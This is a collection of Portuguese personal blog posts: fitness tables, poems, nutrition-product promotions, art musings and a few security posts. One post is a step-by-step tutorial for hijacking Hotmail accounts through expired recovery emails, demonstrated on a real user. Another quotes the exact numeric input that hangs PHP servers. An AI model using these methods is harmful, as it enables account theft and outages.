tallesl/blogsetbr huggingface dataset:
Atividade 04.
Autor: Gabi Mazur | Publicado: 2009-06-22T16:14:00-07:00

A necessidade calórica de uma pessoa de 70 Kg é de 2500 Kcal/dia em média.  O gasto calórico dos exercícios varia dependendo da pessoa, do metabolismo de cada um, do tempo e intensidade do exercício, sendo assim, uma pessoa de 70 kg moderadamente ativa, gastaria 3.220 kcal/dia.  Abaixo, apresento uma tabela com atividades diárias e seus respectivos gastos calóricos.   Média de calorias gastas por uma pessoa de 70 kg, por minuto.          Atividade         Calorias por minuto         Atividade         Calorias por minuto             Arrumar   cama         3.9         Carpintaria         3.9             Consertar   carros         4.3         Cortar   grama (manual)         4.7             Cozinhar         3.9         Descer   escadas         6.9             Dormir         1.2         Escrever   sentado         1.8             Espanar   pó         2.7         Jardinagem         3.7             Lavar   janela         4.3         Ler   sentado         1.2             Lavar o   quintal         4.7         Pintar   parede         3.6             Subir   escadas         18.0         Tomar   banho         3.2           E, agora, apresento uma tabela com várias atividades físicas e as respectivas queimas de calorias por minuto :          Modalidade         Calorias por minuto         Modalidade         Calorias por minuto             Mergulho   tipo apnéia         17,9         Squash         7.8             Caminhar   moderado         3.6         Equitação         6.9             Caminhar   acelerado         6.4         Golfe         4.1             Corrida   12km/hora         15,0         Basquete         7.1             Squash         13,7         Beisebol         4.8             Futebol         10,4         Boliche         6.9             Ginástica   Aeróbica         8,6         Boxe         15.0             Ginástica   Localizada         8,0         Canoagem         11.1             Tênis         8,0         Capoeira         13.0             Dança   Social         6,3         Dançar   moderado         4.3             Tênis   de Mesa         6,0         Dançar   vigoroso         5.9             Futebol         8.5         Equitação         6.9             Natação         5,0         Handebol         7.8             Passear   de Bicicleta         4,5         Esquiar   na neve         9.9             Voleibol         3,7         Esqui   aquático         7.4             Hidroginástica         11.1         Jogar   peteca         5.3             Ginástica   aeróbica         13.6         Pingue-pongue         3.9             Ginástica   localizada         14.5         Pular   corda         11.1             Musculação   academia         15.0         Alongamento         3.3
Atividade 06
Autor: Gabi Mazur | Publicado: 2009-10-14T07:30:00-07:00

Perguntas :a) Você faz atividades físicas?b) Quantas vezes por semana?c) Quais são essas atividades e porque você as faz?d) Existe algum acompanhamento profissional?e) O que você pensa sobre esportes coletivos?Entrevistados :1) Pietro Kuroski Vieira (14 anos)2) Leonardo Kuroski Costa (15 anos)3) Giovanna Mazur Karach (19 anos)4) Thaís Micheli Ferreira (17 anos)5) Felipe Andrade (16 anos)Respostas :1) Pietro :a) Sim.b) De três a cinco vezes semanais.c) Faço academia para ganhar massa muscular e natação para melhorar o meu problema de bronquite. Mas ambos, são pelo fato de eu tentar levar uma vida mais saudável.d) Sim, tenho um médico especialista em Medicina Esportiva e na academia recebo acompanhamento de um personal trainer.e) Gosto de jogar futebol e vôlei nos fins de semana. Mas não levo muito a sério, para mim, servem mais como diversão e relaxamento.2) Leonardo:a) Ás vezes.b) Depende, mas não passam de cinco horas na semana.c) Jogo futebol na aula de educação física e participo de torneios de laço. Futebol pratico porque gosto e o laço é meu hobby.d) Nãoe) São os mais divertidos, pois além de ensinar a ter espírito de equipe e ter noções de cooperação e compreensão, sempre rendem muitas histórias.3)Giovanna:a) Dificilmenteb) No máximo duas vezes semanaisc) Caminho até o ponto do ônibus, por necessidade. E brinco com minhas irmãs mais novas, por diversão.d)Nãoe) Quando eu era criança, eu gostava. Hoje em dia, não ligo muito pra isso. Tenho ocupações maiores com a faculdade.4) Thaísa) Simb) De cinco a sete vezes na semanac) Aulas de jazz, por paixão. E condicionamento físico na academia, mais por estética.d) Sim, além dos instrutores visito frequentemente meu médico cardiologista, fisioterapeuta, nutricionista e um especialista em medicina do esporte.e) Não tenho opinião formada sobre o assunto.5)Felipe:a) Nãob) Nenhumac) No máximo uns 20 minutos de futebol na aula de eduação física, e só o faço porque sou obrigado. As vezes jogo paintball com os meus amigos, mas nem conta.d) Nãoe) Jogos de computador não são considerados esportes coletivos, são?Ao entrevistar cinco adolescentes com idades entre 14 e 19 anos, pude perceber que quanto mais velho o adolescente se torna, as práticas esportivas vêm se tornando menos freqüentes. Porém, os que praticam, buscam acompanhamento profissional, em sua maioria, e a academia (musculação, condicionamento físico) são as atividades preferidas dos jovens e adolescentes. Muitos desses jovens que vão a academias, vão acompanhados de um grupo médio de 3 amigos. Os que deixaram a sedentariedade afirmam ter aumentado a concentração, o rendimento escolar, a disciplina e, inclusive, o bom humor. Mas, em contrapartida, existe uma parte dos jovens que só pensa em videogames, computador e afins. Desprezando qualquer atividade que exija esforço físico. Nota-se que meninas são mais preocupadas com essas práticas, principalmente por uma questão estética.
....
Autor: L. M. | Publicado: 2011-05-04T14:00:00-07:00

          Eu estava pensando aqui , se vale mais ter , felicidade ou amigos, não adianta ter amigos e não ser feliz não é ? Essa duvida terrível esta acabando comigo ...
PEACE ...
Autor: L. M. | Publicado: 2011-05-07T17:26:00-07:00

                                      Nesse momento euuu quero PAZ , do mundo , das pessoas , de tudoo '
Autor: L. M. | Publicado: 2011-05-04T14:30:00-07:00

                                                              As melhores risadas foi com voc .. 
Autor: Haulyson Da SIlva | Publicado: 2012-05-11T13:42:00-07:00

Boa noite.Venho parabenizar todas mulheres, que com muito carinho desempenha o papel de mãe em suas vidas.Coração imenso, Batalhadora, amor infinito pela sua família e amigos. Mesmo com tantos obstáculos do dia a dia, não deixa desanimar e segue Feliz. Pois ser mãe é uma de suas maiores alegrias.Parabéns!!
Autor: Haulyson Da SIlva | Publicado: 2012-05-08T12:34:00-07:00

Escutei a seguinte frase de um gerente em um supermercado popular.

"Trabalhar pra que? Se trabalho rende-se alguma coisa, jegue anda de cordão de ouro"

Até que ponto o ser humano consegue de igualar ao animal e menos prezar tanto sua fonte de renda. É sabido que muitos empregos não geram renda suficiente para toda família. O que é preciso nesta situação é qualificação. E para isto, se faz necessário todo um desenvolvimento no ensino de base até o profissionalizante.

Aprovação automática, não funciona!!
Curso de qualificação, sem o estudante ter a noção minima no ensino de base, não funciona!!
Aluno no 6º ano, antiga 5º serie ser saber ler e escrever é inaceitável.

Infelizmente, há coisas que se passam dentro de nossa casa e não damos atenção como devido.
Autor: Haulyson Da SIlva | Publicado: 2012-05-07T10:18:00-07:00

Boa tarde... Este espaço esta sendo aberto para sugestões, criticas, informações, idéias, de modo geral para assuntos relacionados a gestão publica atual e medidas que podemos retificar, criar ou desenvolver.

Um grande abraço a todos!!
Pensamento da madrugada
Autor: LuYh | Publicado: 2011-12-12T15:19:00-08:00

Por pior que você seja, sempre aparece alguém. Mas ninguém garante que seja a pessoa certa para o momento.

Por mais que a gente queira a pessoa certa, detesto decepcionar, mas ela não existe. Acabemos nos prendendo a pessoas erradas.

Talvez você possa encontra a pessoa errada para o momento certo ou a pessoa certa para o momento errado, vai saber né?

By: LuYh
Aquela menina
Autor: LuYh | Publicado: 2011-12-28T18:45:00-08:00

Sou aquela menina que fala palavão quando está brincado com os amigos ou quando está  com raiva.  Sou aquela que por muitas vezes escrevo minhas tristezas por não conseguir expressa-las.   Sou aquela menina que sofre no quarto, só pra não parecer fraca na frente dos outros.  Sou aquela que se entrega pra uma pessoa só e mesmo assim nem sempre consegue a mesma coisa.  Sou simples, composta e sínica, mas nunca fui mentirosa.  Sou louca, desbocada e careta, mas nunca vou perder tudo isso por ninguém.  Sou aquela que adora chamar atenção.   Sou aquela que quer todos os amigos reunidos ao meu redor.  Sou aquela que tem problema de personalidade, mas me mantenho firme nas minhas decisões.  Sou aquela que se ama, não por falta de alguém pra fazer isso e sim por me valorizar do jeitinho que eu sou. Texto: LuyhFoto/Desenho: Arthur Araújo
Minha querida Amy
Autor: LuYh | Publicado: 2012-03-13T09:15:00-07:00

Com olhos distantes e vazios, você se destacava por ser única e brilhante.

Talentosa, você sempre fazia o que de melhor sabia. Cantar!

Afastou-se de nós e na sua volta deixou a desejar. Mas a estrela que brilhou um dia, nunca irá se apagar!

Sentiremos falta da sua voz.

Adoravamos o seu jeito Soul meio Jazz de cantar, que só você tinha.

Ficaremos sempre na esperança de ouvir coisas novas na sua voz mais que perfeita.

By: LuYh
Último olhar
Autor: LuYh | Publicado: 2012-01-27T03:09:00-08:00

Quando te olho vejo uma pessoa vazia por não ter o que quer.

Costumava te olhar e acreditava que só de fazer isso iria mudar minha vida em um segundo.

Quando você dizia que me amava e que íamos ficar pra sempre juntos, eu tremia.

Quando você fingia que os outros não estavam por perto pra segurar minha mão, eu te amava mais.

Quando você parou de me olhar do jeito doce que me fazia estremecer, eu chorei.

Quando você passou a me excluir da sua vida, eu senti tanto que quase não podia aguentar.

Mas hoje eu vejo o quando você se esforçou pra não ficar do meu lado, o quanto deixou de viver tudo que nos esperava só pra ser desejada por outras pessoas.

Eu confesso que ainda sinto sua falta todas as vezes que olho pra algo seu ou sinto seu perfume que alguém na rua está usando.

Aprendi que te esquecer é a melhor maneira de continuar minha vida.

By: LuYh
Desencontros
Autor: LuYh | Publicado: 2011-11-28T18:33:00-08:00

Quando você quer muito encontrar aquela pessoa, tudo de errado acontece.

Coisas atrasam na hora de sair, você sente que vai dar tudo errado e que vai falar besteira.

E mesmo assim você vai, quando chega ao lugar marcado descobre que não foi suficiente todo o esforço que fez de tentar burlar as regras do tempo.

O difícil é encontrar palavras para descrever o quanto você se sente mal por não está lá na hora marcada.

No final tudo acaba se acertando e você finalmente encontra aquela pessoa de novo.

By: LuYh
PUTA QUE PARIU!
Autor: LuYh | Publicado: 2012-11-26T19:12:00-08:00

Não sei o que as pessoas pensam em começar a namorar com
qualquer um, sinceramente fico muito revoltada com a tamanha carência do ser
humano em ser tão dependente das outras pessoas, por mais que seja bom está
perto de gente que nos faz bem, tudo tem um certo limite. Não consigo entender a
facilidade com que namoros começam e terminar hoje em dia, se formos parar pra
pensar as relações estão sendo muito banalizadas por causa desse tipo de
gente. PUTA QUE PARIU, vamos ser mais coerentes nessa vida? Você ai que começou
um namoro só pra esquecer outra pessoa, você é um ser que não deveria
existir. Achar que vai morre se passar dois dias solteiros, não é muito digno de respeito. Vamos mudar minha gente! Ainda tem tempo de repensar a sua vida e perceber o quão merda você é, quebre essa ideia de que pra
está feliz tem que namorar. Eu fiquei muito irada quando algumas pessoas me
disseram que é melhor está com alguém do que solteiro, agora eu me pergunto, onde
está o juízo de uma pessoa dessas? Na minha opinião, pra se relacionar com
alguém é necessário conhecer, e eu não estou falando de ficar durante um mês
com uma pessoa, estou falando de conhecer de verdade, conhecer cada pedaço da
vida da criatura. Não quero ser revoltadinha só porque estou solteira, quero só
expressar uma experiência que tive há alguns anos atrás, eu já fui idota a esse
ponto, mas consegui mudar antes que alguém escrevesse algo do tipo sobre mim. 
Liberte-se
Autor: LuYh | Publicado: 2011-12-03T19:49:00-08:00

Seu tempo acabou   E mesmo que você queira voltar, nada restou.  A sombra de um sentimento te sufoca  Você me liga   E pede que eu abra a porta  Imagine se fosse por mim esse choro todo  Que você quer se ver morta  Egoísmo seu  Nada é mais cansativo do que te ouvir chorar  Mesmo quando eu sei que o motivo disso tudo não sou eu  Se liberte disso  Viva sem se prender  Sinta a vida batendo em seu rosto  Nada pode ser mais gostoso.By: LuYh
Verso I
Autor: LuYh | Publicado: 2012-03-11T14:24:00-07:00

Meus pés então cansado de andar, minhas mãos de escrever e meus pensamentos estão indo direto pra você. Não consigo lembra o porque me apaixonei, mas garanto que irei te esquecer! By: Luyh
Vazio
Autor: LuYh | Publicado: 2013-04-26T10:17:00-07:00

É um vazio agoniante que nesse momento me toma. Um desespero de quase morte, é como se tivesse faltando um pedaço de mim. Como se o que eu tenho hoje não bastasse. Chorar não é suficiente porque a dor só aumenta. As vezes dói tanto que eu não consigo ficar acordada pra aguentar. Por mais que eu finja não acontecer nada, dói só de pensar que pode acontecer tudo. Não estou mais aguentando esse sentimento de vazio, de culpa e remorso. 
Algo bacana...
Autor: LuYh | Publicado: 2012-03-06T05:47:00-08:00

Eu estava procurando alguém pra gostar e você apareceu diante dos meus olhos.

Namorei e fiquei solteira por várias vezes, mas toda vez que te via,  te desejava.

Nunca fui de muita coragem, mas um dia ela veio...

Conversei e soube que você era o que eu queria!

Mas como gosto de jogar com palavras, decidi tentar seduzir você...

E claro que não deu muito certo.

Fui direta por várias vezes, mas me frustrei em saber que não ia conseguir nada.

Tentei por várias vezes encontrar com você meio que por acaso, mas nunca consegui te arrancar nenhum beijo.

Então, quando eu achei que era a oportunidade certa de tomar a atitude fatal, fui muito ofensiva e descarada, mas com boas intenções.

 Sempre perco tempo com coisas sem importância, como perguntar se ta tudo bem em roubar um beijo?

Mas eu realmente queria algo bacana com tudo isso.

Enfim, eu desisto de tentar conquistar quem não quer ser conquistado!

By: LuYh
Tem dias que só precisamos de um abraço
Autor: LU Chagas | Publicado: 2016-10-08T22:39:00-03:00

Não escrevemos um abraço. Não escrevemos um afago. Não escrevemos uma presença. Escrevemos, apenas, as abstrações, as sensações, as necessidades, os modos de ver, de viver e de sentir cada coisa que nos afeta. Quando a alma emudece, não escrevemos nada. E não escrevemos nada, porque a palavra, vazia, é incapaz de descrever com precisão uma vontade concreta. Isso acontece quando a necessidade é física, palpável, sinestésica... A verdade é que tem dias que nada substitui um abraço, um afago, uma presença.

|Erica Gaião|
Autor: LU Chagas | Publicado: 2016-05-03T23:37:00-03:00

A gente precisa de um tempo. Se dar um tempo. Se cuidar. Seu melhor amigo não vai cuidar de você. Nem sua mãe, pois você já é crescido. Nem seu amor. O ideal é você se pegar no colo e cantar uma música de ninar até adormecer. A gente merece esse carinho. Sempre. Porque no fundo é você e seu espelho.

— Clarissa Corrêa
Seja bem vindo Junho
Autor: LU Chagas | Publicado: 2016-06-01T17:13:00-03:00

Junho chegou!

Que ele traga friozinho bom, 

aconchego do lar,

lasanha nos almoços de domingo, 

família reunida,

cobertor de orelha, 

vinho a dois, 

chocolate quente,

pipoca e filme debaixo do cobertor, 

música boa e fondue de chocolate, 

dia dos namorados,

abraço de urso em dias tristes, 

foco e fé para novos desafios

e saúde para todos nós!
Amar é...
Autor: LU Chagas | Publicado: 2017-01-05T23:22:00-02:00

"Quando encontrar alguém que queira andar na chuva com você, se molhe." Eu não lembro onde li isso, mas confesso que venho pensando a respeito. Amar não é sossego, não é conforto e nem brisa suave com raios de sol o tempo todo. Amar é olhar pro outro e ter certeza que, por mais difícil que seja a travessia, é possível chegar do outro lado. Haverá medo, mas haverá também uma vontade enorme de não desistir. Amar é não se importar com o que os demais irão dizer ou pensar, mas é encarar a batida forte que faz o coração quando pede pra pular. É ouvir essa batida e saber quem é o par ideal para arriscar o pulo junto com você. Amar pode até ser dias de sol, sim, mas é muito mais aquela certeza de quem queremos que esteja abraçado a nós quando a tempestade chegar.
Não se perca de você
Autor: LU Chagas | Publicado: 2016-10-08T22:22:00-03:00

Não se deixe no meio do caminho, enquanto todos dizem qual o melhor lugar para você. Ouça o que vale a pena, ignore o resto. Volte e se encontre. Traga você de volta. Permita-se viver dentro dos seus próprios sonhos. A pior solidão é aquela que nasce da ausência de si mesmo.
|Erica Gaião|
O poder do "eu te amo"
Autor: LU Chagas | Publicado: 2016-04-16T13:26:00-03:00

"Tuas filhas te acham bonita?", a Anita perguntou pra uma amiga nossa. A Anita tem esse dom de fazer perguntas constrangedoras e aguarda a resposta sem esboçar nenhuma vergonha, enquanto eu enrubesço. "Não, eu acho que elas não me acham muito bonita, não". Nossa amiga estava em um dia de autoestima lá embaixo. A Anita, sem notar nenhum problema no diálogo, emendou: "Mas tu fazia carinho nelas? Tu fala que ama elas? Porque isso faz toda a diferença pra te acharem bonita". Não sei onde ela aprendeu isso, mas faz todo sentido. O "eu te amo" tem poder.

O "eu te amo" muda vidas. O "eu te amo" causa explosões e pernas bambas. Um "eu te amo" não dito pode ser a vida que podia ter sido e não foi. O "eu te amo" muda histórias, deixa pessoas mais confiantes, massageia o espírito. Casais ficarão juntos, filhos se sentirão confortáveis. Pais ouvirão "eu também te amo". Às vezes, digo "eu te amo" só pra receber um de volta. O "eu te amo" melhorou minha relação com a minha mãe. Às vezes, insisto em dizer, mesmo que esteja meio cansado das ligações dela no meu telefone fixo. Telefone fixo só serve pra ligação de mãe e telemarketing.

Há quem se assuste e saia correndo. Há quem tenha medo do "eu te amo". Não sei o que pensam estes, se não acham que merecem, se não querem se envolver com essas profundidades emocionais. Mas eu sou fã do "eu te amo". Digo o tempo todo, pra minha mulher, mãe, filhas. Digo mesmo quando não estou lá, explodindo de amor. Digo pra reforçar pra mim mesmo. Digo pra quem não tem muito acesso a "eu te amo". Uma espécie de distribuição de renda, uma bolsa eu te amo. Certa vez, disse até pra um garçom que era realmente muito competente na arte de tirar e servir chopes gelados. "Eu te amo, bicho". Ele achou estranho, mas agradeceu.

Lembro quando falei "eu te amo" pela primeira vez pra minha madrinha. Ela ficou muito emocionada. Agora, fala "eu te amo" sempre que conversamos. Lembro quando minha filha disse "eu te amo" pela primeira vez pro meu sogro. Avesso a sentimentalismos, o velho começou a chorar. Disse que deveria ter dito mais isso aos filhos. Mas achou que já era muito tarde pra começar e ele não quis passar a distribuir "eu te amo", assim, sem mais nem menos. Acho que ele tentava, mas ficava constrangido.

O "eu te amo" constrange. O "eu te amo" liberta.

Nunca é tarde pra começar a praticar.
Marcos Piangers
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-04-07T05:06:00-07:00

Espinafre alimento estratégico
para prevenção e tratamento de anêmia!!!

Para isto o espinafre deve estar
cozido e associado a uma fonte de vitamina C que vai aumentar a absorção do
ferro.

Experimente nosso Creme de Aipim
com Espinafre e associe a esta refeição um suco de limão.
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-03-24T06:22:00-07:00

LICOPENO

Licopeno é
um carotenóide presente nos alimentos de cor avermelhada, é antioxidante, atua
protegendo as células do envelhecimento precoce, auxilia na melhora da
imunidade, na prevenção do câncer, auxilia na redução dos danos às células
causados pela exposição ao sol, com diminuição de manchas de pele.

O tomate
é uma das principais fontes de licopeno, sua absorção é maior quando preparado
com cozimento, em molhos, com a adição de uma pequena dose de gordura
monoinsaturada (azeite).

No nosso
cardápio temos preparações ricas em licopeno, como o Quiche de Berinjela que faz parte do lanche n º 58 e 59 e também o Feijão Branco com
Tomatada que faz parte da nossa refeição nº 19.

Quiches de Berinjela e Feijão Branco com Tomatada
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-03-31T04:37:00-07:00

ESPINAFRE E SEUS BENEFÍCIOS

É uma verdura bem nutritiva rica
em ferro, fósforo, vitaminas A e complexo B. Seus nutrientes como o ferro e o
fósforo fortalecem a estrutura sanguínea, óssea dos dentes e muscular. As
vitaminas A e B atuam positivamente nos olhos, na pele, nos cabelos, favorecem
o sistema digestivo e nervoso. O espinafre é uma fonte antioxidante como
luteína e zeaxantina, excelentes antioxidantes, anti carcinogênicos e
preventivos de degeneração macular.

Com tantos benefícios, a
Nutriente oferece o Quiche de Espinafre ao Molho de Palmito e Curry, nas
porções de 160g e 50g. 
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-05-02T06:39:00-07:00

Ovos e Colesterol

O
ovo por muito tempo foi considerado o vilão da dieta pela quantidade de
colesterol. Mas na verdade os níveis de colesterol aumentam mais pelo consumo
de outras fontes de gorduras saturadas do que pelo colesterol presente no ovo.
Estudos mostram que o ovo pode aumentar O colesterol “bom” (HDL) e ajuda a
manter bons níveis de colesterol “ruim” (LDL), não apresentando riscos para
doenças cardiovasculares.

A
Nutriente indica a ingestão adequada de alimentos com ovo em sua preparação,
experimente nossos pães, biscoitos e bolinhos, todos isentos de glúten e de
leite de vaca.
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-04-14T08:13:00-07:00

LEGUMINOSAS

As leguminosas são definidas como grãos contidos em vagens. Fazem parte deste grupo o feijão, a
soja, grão de bico, lentilha. São excelente fonte de proteínas vegetais, de
fibras, ferro, potássio e vitaminas do complexo B. Prove nosso pratos!

Panqueca recheada com Carne e Tomates Secos, Grão de Bico e Abobrinha com Ervas Finas.
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-04-09T08:20:00-07:00

STEVIA 

A Nutriente produz alimentos sem
glúten, sem lactose e também sem açúcar, sendo adoçados com o adoçante natural
Stevia. Experimente nosso Biscoito Chococo e nossa Broinha de Milho!!!

Para produzir alimentos doces e
sem açúcar optamos por usar Stevia que é um adoçante natural, sem calorias e
não tem demonstrado contra indicação como outros adoçantes artificiais, além de
ser uma ótima opção na culinária por ser estável em altas temperaturas sem
perder suas propriedades.
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-04-17T08:21:00-07:00

CACAU 

O
cacau é um alimento rico em em flavonoides, um potente antioxidante que traz
diversos benefícios à saúde: reforça a sensação de bem estar, aumenta a disposição
e reduz a ansiedade, além de poder prevenir doenças cardiovasculares.

É
importante não conter leite nas preparações com cacau, pois o efeito benéfico
dos antioxidantes é reduzido pela adição de leite.

A
Nutriente indica que você aproveite os benefícios do Cacau e experimente nosso
Muffin de Chocolate e Biscoisto Chococo, ambos com cacau em sua preparação e isentos
de leite e de glúten!
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-04-23T11:14:00-07:00

LEGUMINOSAS

Para aproveitar os benefícios das leguminosas, ter uma boa digestão do
alimento e evitar a formação de gases, é recomendado seguir uma adequada forma
de preparo: deixe os grãos de feijão e grão de bico de molho na água por 24
horas, trocando a água pelo menos 4 vezes. Dessa forma, substâncias com fatores
antinutricionais são biotransformadas e diminuídas aumentando a digestibilidade
do grão e o seu valor nutritivo.

A Nutriente cuida do processo de cocção das leguminosas por você! Experimente nosso
Filé de Peixe Escabeche, com Arroz Parboilizado Integral, Feijão Carioquinha e
Berinjela de forno.
Autor: Nutriente Alimentos Funcionais | Publicado: 2014-03-19T04:22:00-07:00

ÍNDICE GLICÊMICO

É a
velocidade com que o carboidrato entra na corrente sanguínea. Quanto mais
rápida a entrada, mais a glicose sobe no sangue. Alimentos como baixo índice
glicêmico como cereais integrais, farinhas integrais como a farinha integral de
arroz, frutas e vegetais, são absorvidos mais lentamente, aumentando a
saciedade e levando a uma melhora nos níveis de colesterol e triglicerídeos.

A
Nutriente Alimentos Funcionais se preocupa com isto, todos os nossos pratos tem
controle de índice glicêmico, são preparados com cereais integrais e vegetais
diversos.

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Pães Integrais e Panquecas com legumes 

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Autor: ana paula araujo | Publicado: 2014-01-30T11:09:00-08:00

A cor se caracteriza pela carga de sensualidade que lhe é inerente. Ao vê-la diante de nós, sensual, é que podemos dar-nos conta do quanto nosso conhecimento anterior, através das informações verbais, fora intelectual. Fayga Ostrower, 1983
EXPERIMENTE...
Autor: ana paula araujo | Publicado: 2009-03-24T14:10:00-07:00

Desde que terminei a faculdade, venho experimentando o que é pintar , pois sempre me considerei muito técnica por ser mais ligada ao Desenho Técnico e a Computação Gráfica. Com os modelos, perdi o medo do pincel, mas não ficava satisfeita com um resultado que não era meu...demorou muito tempo até eu "me" experimentar e começar a criar coisas das quais eu gosto. Descobri desta forma que o que nos é caro, é também característico, pois as linhas e as formas geométricas foram sendo delineadas em figuras humanas e materiais orgânicos. Não tenho grandes pretenções, nem aspiro um cargo de "artista", mas gostaria de instigar as pessoas a se experimentar e, então, com a mais absoluta certeza, descobrir um prazer inestimável!
Autor: ana paula araujo | Publicado: 2009-05-22T19:46:00-07:00

"Tenho experimentado espiar novos mundos, bem devagarzinho, mas cada vez com mais vontade de me desacomodar, de mexer com o que me inquieta. Tenho medo, e isso é excitante também. Às vezes do nada surge uma idéia e tenho tentado sacia-la, mesmo interrompa ao texto que aqui escrevo, ou a comida que tá no fogo. Não sei bem se é isso, mas é o que fez surgir em mim. Óbvio que continuo condicionada, vivendo sob regras que ninguém impôs e mesmo assim cumprimos, mas tenho me dado ao luxo de, de vez em vez, deixar de ser mãe, esposa, amiga e ser só eu comigo mesma; nem que seja no meio de uma madrugada fria, quando aparece aquela idéia louca de criar telas que talvez possam apodrecer." ( texto da disciplina de Imagem, discurso  e subjetividade - Ana Paula Araujo maio/2009)
Autor: ana paula araujo | Publicado: 2014-01-28T18:57:00-08:00

Posso misturar o que leio,com o que trabalho, o que gosto e o que me dá prazer... por isso Lya Luft antes dos meus potinhos...

"Mas no pequeno papel que nos couber nesse grande teatro, a gente pode tentar o possível em cada momento, ainda que tendo de ajeitar os óculos para ver melhor por cima do nariz redondo e vermelho." (p.182, 2010)
ARTESANATO
Autor: ana paula araujo | Publicado: 2009-03-24T13:33:00-07:00

As pessoas que se dizem "cultas", tem o péssimo hábito de menosprezar, ou desqualificar o artesanato...quando estava na faculdade, descobri, em um momento de crise, o biscuit como uma forma de ganhar um dinheiro extra para ajudar. Bom, dava para o "xerox", quando não tinha grana, vendia um imã de geladeira e dava p almoçar...hehehe, tempos duros, mas que me trouxeram uma ótima experiência. Na época, também projetava móveis a mão, sem auto cad, e sofri um acidente, no qual perdi um pouco do movimento da mão direita, e graças a este artesanato, que funcionou como fisioterapia, o recuperei rapidamente.Hoje em dia, trabalho com o biscuit com muito prazer e orgulho, pois, às vezes, tenho a impressão de que aqueles detalhes todos não podem sair de minhas mãos...é um trabalho minucioso, mas também prazeroso, que faz o tempo passar voando e a cabeça esquecer dos problemas.Mostrem seus trabalhos, peçam e dêem dicas...esse espaço é para isso!
Bug no correio eletronico "Hotmail"
Autor: Bhior | Publicado: 2010-12-21T18:57:00-08:00

Ha algum tempo atras, era banal você ver em fóruns, blogs, sites e etc, como "hackear orkut" por e-mail não registrado. com a inclusão digital(Maldita inclusão) isso acabou virando febre.Nesse tutorial, vou mostrar um bug no hotmail, que também e de e-mail não registrado.No momento em que você criar uma conta de hotmail, o formulário de cadastro te da uma opção de restauração de senha através de um e-mail alternativo, caso você use uma conta que não e registrada ou o e-mail acaba sendo aspirado, abre uma brecha para um possível atacante.Vamos ao método, vamos escolher um e-mail "@hotmail.com", entre no http://maccount.live.comClique em "Esqueceu sua senha?" e na próxima pagina preencha o primeiro campo com o e-mail alvo, e o segundo para autenticação, seguindo a orientação da imagem.Nessa pagina e mostrada algumas configurações, mostrando as informações que que são inseridas na criação da conta, a importante nesse caso e de redefinição de senha por e-mail secundário.Agora nessa pagina o "bicho pega", então você vai me perguntar, como vou saber qual e o e-mail, se apenas mostra as iniciais do e-mail... e então que entra o truque :p, abrimos o código fonte da pagina e "voila" nos mostra o e-mail completo.Bom, temos as informações necessárias, agora e torce para que a conta esteja sem registrar ou desativada por inatividade. Dependo de onde a conta secundaria foi criada, você vai ter que criar uma nova conta, nesse caso, foi uma do hotmail, entre em https://login.live.com/.Supimpa, se a conta não tive sido registrada, você faz todo o procedimento de criar uma nova conta com o id, apos a criação e simplesmente ir e pede uma redefinição de senha através do e-mail alternativo.Bom, acompanhe o video com o ataque em tempo real.Acho que não preciso dizer que e para fins acadêmicos...# Venha ressaltar que o user que usei para a vídeo aula, e um contato que tenho no meu cliente, mas não tenho nenhum contanto ou afinidade, na verdade nem lembro de onde e como o conheço, e deixo claro que não e perseguição, simplesmente o usuario estava com essa falha e acabei usando como modelo na aula, para a recuperação de sua conta, entre em contato comigo.
Bug recém-descoberto no PHP pode derrubar servidores
Autor: Bhior | Publicado: 2011-01-05T11:57:00-08:00

Erro envolve o tratamento de números de ponto flutuante e faz processador PHP entrar em loop.Um bug recém-descoberto existente em algumas versões da linguagem de script PHP pode derrubar servidores se for solicitada uma conversão de um número enorme no formato de ponto flutuante, abrindo a possibilidade de que a falha possa ser explorada por hackers.O bug fará com que o processador PHP entre em loop infinito caso tente converter a série de dígitos "2.2250738585072011e-308", de string para ponto flutuante.Pelo menos um usuário PHP comentou que um usuário malicioso poderia derrubar um servidor rodando PHP simplesmente enviando este número ao processador PHP por meio da função get da linguagem.O bug parece afetar apenas as versões 5.2 e 5.3 da linguagem, e apenas quando elas estiverem rodando em uma CPU Intel de 32 bits com o conjunto de instruções x87.Para corrigir o problema, os usuários podem baixar patches para as duas versões ou recompilar o PHP com flags adicionais para tratar números de ponto flutuante.O cientista da computação Rick Regan foi o primeiro a reportar o bug na segunda-feira (3/1). No dia seguinte, a equipe de desenvolvimento do PHP publicou patches para o problema.Regan especulou que este número em particular é problemático porque é o "maior número subnormal de ponto flutuante de precisão dupla".Em geral, os números de ponto flutuante são um desafio para os desenvolvedores, dada a complexidade e as diferentes técnicas que compiladores e conjuntos de instrução de hardware usam para representar tais números.Fonte: computerworld
DerbyCon 2011 - Um novo Hackercon
Autor: Bhior | Publicado: 2011-02-02T21:29:00-08:00

Nova conferencias de hackers, que reúne os melhores profissionais conceituados no assunto.DerbyCon ... uma nova era de contras hacker! Tudo começa em Louisville, Kentucky - 30 de Setembro 2 de outubro de 2011, no Hyatt Regency.DerbyCon não é apenas outra conferência de segurança. Tomamos os melhores elementos de todas as conferências que já estive e colocá-los em um só. DerbyCon é um lugar que possa chamar de casa, onde você pode conhecer cada uma das partes, aprender entre outras coisas. Nosso objetivo é criar um ambiente divertido, onde a comunidade de segurança pode se reunir para compartilhar idéias e conceitos. Quer conhecer o Linux, como programar, são estabelecidas em matéria de segurança, ou um hobby, o ideal de DerbyCon é promover a aprendizagem e fortalecer a comunidade.DerbyCon tem muito bilhetes limitado, para garantir que a conferência mantenha sua qualidade, sem perder o foco em grandes multidões incontroláveis ou de um afluxo de pessoas. Se você está pensando em ir, por favor não espere até o último minuto quando os ingressos não estarão disponíveis. Para ver a programação para a compra de bilhetes, não se esqueça de verificar a página de registo. Nós já selecionamos um punhado de palestrantes de alto nível, mas estamos aceitando um número de pontos para as apresentações na seção CFP. A conferência está configurada para que você possa ir para as conversas durante o dia e, em seguida, participar de um treinamento ou Bsides à noite.Alguns palestrantes confirmados:Scott AngeloJames Arlen (myrcurial)Paul Asadoorian (pauldotcom)Martin Bos (PureHate)Chris BuechlerInt0x80 – Dual CoreAdrian Crenshaw (IronGeek)Elliott Cutright (Nullthreat)Thomas d’Otreppe (Mister_X)Peter Van 